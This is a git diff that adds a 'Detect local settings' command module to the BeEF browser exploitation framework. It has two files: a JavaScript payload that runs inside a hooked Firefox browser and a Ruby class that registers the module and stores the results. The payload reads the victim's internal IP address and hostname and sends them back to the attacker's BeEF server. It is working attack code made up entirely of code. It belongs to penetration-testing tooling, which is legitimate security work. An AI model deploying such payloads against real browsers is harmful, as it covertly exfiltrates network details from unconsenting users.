diff --git a/modules/commands/network/detect_local_settings/detect_local_settings.js b/modules/commands/network/detect_local_settings/detect_local_settings.js new file mode 100644 index 000000000..62bf65bd3 --- /dev/null +++ b/modules/commands/network/detect_local_settings/detect_local_settings.js @@ -0,0 +1,10 @@ +beef.execute(function() { + + var internal_ip = beef.net.local.getLocalAddress(); + var internal_hostname = beef.net.local.getLocalHostname(); + + if(internal_ip && internal_hostname) { + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, + 'internal_ip='+internal_ip+'&internal_hostname='+escape(internal_hostname)); + } +}); \ No newline at end of file diff --git a/modules/commands/network/detect_local_settings/detect_local_settings.rb b/modules/commands/network/detect_local_settings/detect_local_settings.rb new file mode 100644 index 000000000..5d1033a6a --- /dev/null +++ b/modules/commands/network/detect_local_settings/detect_local_settings.rb @@ -0,0 +1,38 @@ +module BeEF +module Modules +module Commands + +class Detect_local_settings < BeEF::Command + + def initialize + super({ + 'Name' => 'Detect local settings', + 'Description' => 'Grab the local network settings (i.e internal ip address)', + 'Category' => 'Network', + 'Author' => ['pdp', 'wade', 'bm'], + 'File' => __FILE__, + 'Target' => { + 'browser_name' => BeEF::Constants::Browsers::FF + } + }) + + use 'beef.net.local' + + use_template! + end + + def callback + content = {} + content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil? + content['internal hostname'] = @datastore['internal_hostname'] if not @datastore['internal_hostname'].nil? + + content['fail'] = 'could not grab local network settings' if content.empty? + + save content + end + +end + +end +end +end \ No newline at end of file